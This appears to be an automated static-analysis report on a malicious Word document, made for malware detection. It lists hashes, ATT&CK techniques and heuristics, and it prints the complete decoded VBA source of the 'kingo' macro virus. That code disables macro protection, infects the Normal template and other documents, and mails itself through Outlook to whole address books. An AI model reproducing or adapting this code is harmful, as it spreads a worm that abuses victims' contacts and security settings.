Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d22cef2296629260…

MALICIOUS

Office (OLE)

30.5 KB Created: 2003-01-30 11:58:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: e36afb67bc4fac2b816cca18fe49e2a4 SHA-1: 68c68a0ecaf07b803a5072011fb5a44f955a8e6c SHA-256: d22cef229662926036f2a9008a584c7b4c4ad6d8fee72f3f4ac961dc0ed3748a
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains an AutoOpen macro that is heavily obfuscated and uses CreateObject to execute code. The macro attempts to write a value to the registry key HKCU\Software\Microsoft\Office\kingo to establish persistence. It also appears to interact with Outlook objects, potentially for spreading or information gathering. The overall behavior suggests a macro-based downloader or worm.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2876 bytes
SHA-256: 808e8cdf03933382b68aa2885c95fc1b3006693f71e928642f9434d7887921d0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
'Module Name: kingo
'***Generated with: IMVM v2 by MI_pirat***
'Copy the code in a module with the same name as the virus:
Sub AutoOpen()
'The kingo Virus
'by Ahmedo
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "kingo") <> "kingo" Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "kingo") = "kingo"
Options.VirusProtection = (2 Xor 2)
Options.SaveNormalPrompt = False
With Options
        .AllowFastSave = True
        .BackgroundSave = True
        .CreateBackup = False
        .SavePropertiesPrompt = False
        .ConfirmConversions = False
        .UpdateLinksAtOpen = True
        .SendMailAttach = True
End With
Set myTemplate = NormalTemplate
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=myTemplate.FullName, Name:="kingo", Object:=wdOrganizerObjectProjectItems
Documents.Open FileName:=NormalTemplate.FullName, ConfirmConversions:=False, ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:="", Format:=wdOpenFormatAuto
ActiveDocument.Save
ActiveDocument.Close
mmm = Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107)
Set DOutlook = CreateObject(mmm + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110))
xxx = Chr(77) + Chr(65) + Chr(80) + Chr(73)
Set DMName = DOutlook.GetNameSpace(xxx)
Set mmm = DMName.AddressLists
For ik = 1 To mmm.Count
Set ABook = DMName.AddressLists(ik)
xxx = 1
Set aa = ABook.AddressEntries
Set BreakUmOffAS = DOutlook.CreateItem(0)
For ij = 1 To aa.Count
Pee = aa(xxx)
BreakUmOffAS.Recipients.Add Pee
xxx = xxx + 1
If xxx > 20 Then nr = aa.Count
Next ij
strip = ActiveDocument.FullName
BreakUmOffAS.Subject = "RE:"
BreakUmOffAS.Body = "Read the doc. "
BreakUmOffAS.Attachments.Add strip
BreakUmOffAS.Send
Pee = ""
Next ik
End If
dday = Weekday(Date)
If dday = 6 Then
MsgBox "Ahmedo the KiNGo", vbInformation
End If
For Each aVar In ActiveDocument.Variables
        If aVar.Name = "kingo" Then nm = aVar.Index
Next aVar
If (nm = 0) And (NormalTemplate.FullName <> ActiveDocument.FullName) Then
ActiveDocument.Variables.Add Name:="kingo"
ActiveDocument.Variables("kingo").Value = 666
Set myTemplate = NormalTemplate
Application.OrganizerCopy Source:=myTemplate.FullName, Destination:=ActiveDocument.FullName, Name:=myTemplate.VBProject.VBComponents(2).Name, Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
End If
End Sub

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